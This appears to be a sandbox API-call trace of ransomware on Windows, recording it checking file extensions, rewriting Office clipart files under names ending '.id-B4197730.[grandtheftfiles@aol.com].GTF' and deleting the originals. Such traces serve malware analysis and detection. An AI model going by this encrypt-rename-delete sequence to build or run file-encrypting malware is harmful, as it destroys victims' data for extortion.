	[0089.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0089.720] lstrlenW (lpString=".1cd") returned 4
	[0089.720] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0089.720] lstrlenW (lpString=".jpg") returned 4
	[0089.720] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.720] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0089.720] lstrlenW (lpString="IN00177_.WMF") returned 12
	[0089.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0089.721] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=1074) returned 1
	[0089.721] CloseHandle (hObject=0x390) returned 1
	[0089.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf")) returned 0x220
	[0089.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0089.721] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.721] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0089.722] GetLastError () returned 0x0
	[0089.722] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x432, lpOverlapped=0x0) returned 1
	[0089.723] WriteFile (in: hFile=0x39c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x440, lpOverlapped=0x0) returned 1
	[0089.724] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.724] WriteFile (in: hFile=0x39c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.724] SetEndOfFile (hFile=0x39c) returned 1
	[0089.725] CloseHandle (hObject=0x39c) returned 1
	[0089.725] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.725] SetEndOfFile (hFile=0x390) returned 1
	[0089.726] CloseHandle (hObject=0x390) returned 1
	[0089.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0089.726] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf")) returned 1
	[0089.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0089.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0089.726] lstrlenW (lpString=".doc") returned 4
	[0089.726] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.726] lstrlenW (lpString=".docx") returned 5
	[0089.726] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.726] lstrlenW (lpString=".pdf") returned 4
	[0089.726] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.726] lstrlenW (lpString=".xls") returned 4
	[0089.726] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.726] lstrlenW (lpString=".xlsx") returned 5
	[0089.726] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.726] lstrlenW (lpString=".ppt") returned 4
	[0089.726] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0089.727] lstrlenW (lpString=".zip") returned 4
	[0089.727] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.727] lstrlenW (lpString=".rar") returned 4
	[0089.727] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.727] lstrlenW (lpString=".bz2") returned 4
	[0089.727] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.727] lstrlenW (lpString=".7z") returned 3
	[0089.727] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0089.727] lstrlenW (lpString=".dbf") returned 4
	[0089.727] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0089.727] lstrlenW (lpString=".1cd") returned 4
	[0089.727] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0089.727] lstrlenW (lpString=".jpg") returned 4
	[0089.727] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0089.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0089.727] lstrlenW (lpString=".doc") returned 4
	[0089.727] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.727] lstrlenW (lpString=".docx") returned 5
	[0089.727] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.727] lstrlenW (lpString=".pdf") returned 4
	[0089.727] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.727] lstrlenW (lpString=".xls") returned 4
	[0089.727] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.727] lstrlenW (lpString=".xlsx") returned 5
	[0089.727] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.727] lstrlenW (lpString=".ppt") returned 4
	[0089.727] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0089.727] lstrlenW (lpString=".zip") returned 4
	[0089.728] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.728] lstrlenW (lpString=".rar") returned 4
	[0089.728] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.728] lstrlenW (lpString=".bz2") returned 4
	[0089.728] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.728] lstrlenW (lpString=".7z") returned 3
	[0089.728] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0089.728] lstrlenW (lpString=".dbf") returned 4
	[0089.728] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0089.728] lstrlenW (lpString=".1cd") returned 4
	[0089.728] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0089.728] lstrlenW (lpString=".jpg") returned 4
	[0089.728] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.728] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0089.728] lstrlenW (lpString="IN00204_.WMF") returned 12
	[0089.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0089.728] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=1848) returned 1
	[0089.728] CloseHandle (hObject=0x390) returned 1
	[0089.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf")) returned 0x220
	[0089.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0089.729] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.729] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0089.729] GetLastError () returned 0x0
	[0089.729] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x738, lpOverlapped=0x0) returned 1
	[0089.731] WriteFile (in: hFile=0x39c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x740, lpOverlapped=0x0) returned 1
	[0089.732] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.732] WriteFile (in: hFile=0x39c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.732] SetEndOfFile (hFile=0x39c) returned 1
	[0089.732] CloseHandle (hObject=0x39c) returned 1
	[0089.733] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.733] SetEndOfFile (hFile=0x390) returned 1
	[0089.733] CloseHandle (hObject=0x390) returned 1
	[0089.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0089.734] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf")) returned 1
	[0089.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0089.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0089.734] lstrlenW (lpString=".doc") returned 4
	[0089.734] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.734] lstrlenW (lpString=".docx") returned 5
	[0089.734] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.734] lstrlenW (lpString=".pdf") returned 4
	[0089.734] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.734] lstrlenW (lpString=".xls") returned 4
	[0089.734] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.734] lstrlenW (lpString=".xlsx") returned 5
	[0089.734] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.734] lstrlenW (lpString=".ppt") returned 4
	[0089.734] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0089.734] lstrlenW (lpString=".zip") returned 4
	[0089.735] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.735] lstrlenW (lpString=".rar") returned 4
	[0089.735] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.735] lstrlenW (lpString=".bz2") returned 4
	[0089.735] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.735] lstrlenW (lpString=".7z") returned 3
	[0089.735] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0089.735] lstrlenW (lpString=".dbf") returned 4
	[0089.735] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0089.735] lstrlenW (lpString=".1cd") returned 4
	[0089.735] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0089.735] lstrlenW (lpString=".jpg") returned 4
	[0089.735] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0089.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0089.735] lstrlenW (lpString=".doc") returned 4
	[0089.735] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.735] lstrlenW (lpString=".docx") returned 5
	[0089.735] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.735] lstrlenW (lpString=".pdf") returned 4
	[0089.735] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.735] lstrlenW (lpString=".xls") returned 4
	[0089.735] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.735] lstrlenW (lpString=".xlsx") returned 5
	[0089.735] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.735] lstrlenW (lpString=".ppt") returned 4
	[0089.735] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0089.735] lstrlenW (lpString=".zip") returned 4
	[0089.735] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.736] lstrlenW (lpString=".rar") returned 4
	[0089.736] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.736] lstrlenW (lpString=".bz2") returned 4
	[0089.736] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.736] lstrlenW (lpString=".7z") returned 3
	[0089.736] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0089.736] lstrlenW (lpString=".dbf") returned 4
	[0089.736] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0089.736] lstrlenW (lpString=".1cd") returned 4
	[0089.736] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0089.736] lstrlenW (lpString=".jpg") returned 4
	[0089.736] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.736] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0089.736] lstrlenW (lpString="IN00233_.WMF") returned 12
	[0089.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0089.736] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=11190) returned 1
	[0089.737] CloseHandle (hObject=0x390) returned 1
	[0089.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf")) returned 0x220
	[0089.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0089.737] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.737] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0089.737] GetLastError () returned 0x0
	[0089.737] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x2bb6, lpOverlapped=0x0) returned 1
	[0089.756] WriteFile (in: hFile=0x39c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0089.757] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.757] WriteFile (in: hFile=0x39c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.758] SetEndOfFile (hFile=0x39c) returned 1
	[0089.758] CloseHandle (hObject=0x39c) returned 1
	[0089.758] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.758] SetEndOfFile (hFile=0x390) returned 1
	[0089.759] CloseHandle (hObject=0x390) returned 1
	[0089.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0089.759] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf")) returned 1
	[0089.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0089.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0089.759] lstrlenW (lpString=".doc") returned 4
	[0089.759] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.759] lstrlenW (lpString=".docx") returned 5
	[0089.759] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.759] lstrlenW (lpString=".pdf") returned 4
	[0089.759] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.759] lstrlenW (lpString=".xls") returned 4
	[0089.759] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.760] lstrlenW (lpString=".xlsx") returned 5
	[0089.760] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.760] lstrlenW (lpString=".ppt") returned 4
	[0089.760] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0089.760] lstrlenW (lpString=".zip") returned 4
	[0089.760] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.760] lstrlenW (lpString=".rar") returned 4
	[0089.760] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.760] lstrlenW (lpString=".bz2") returned 4
	[0089.760] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.760] lstrlenW (lpString=".7z") returned 3
	[0089.760] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0089.760] lstrlenW (lpString=".dbf") returned 4
	[0089.760] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0089.760] lstrlenW (lpString=".1cd") returned 4
	[0089.760] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0089.760] lstrlenW (lpString=".jpg") returned 4
	[0089.760] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0089.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0089.760] lstrlenW (lpString=".doc") returned 4
	[0089.760] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.760] lstrlenW (lpString=".docx") returned 5
	[0089.760] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.760] lstrlenW (lpString=".pdf") returned 4
	[0089.760] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.760] lstrlenW (lpString=".xls") returned 4
	[0089.760] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.760] lstrlenW (lpString=".xlsx") returned 5
	[0089.761] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.761] lstrlenW (lpString=".ppt") returned 4
	[0089.761] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0089.761] lstrlenW (lpString=".zip") returned 4
	[0089.761] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.761] lstrlenW (lpString=".rar") returned 4
	[0089.761] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.761] lstrlenW (lpString=".bz2") returned 4
	[0089.761] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.761] lstrlenW (lpString=".7z") returned 3
	[0089.761] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
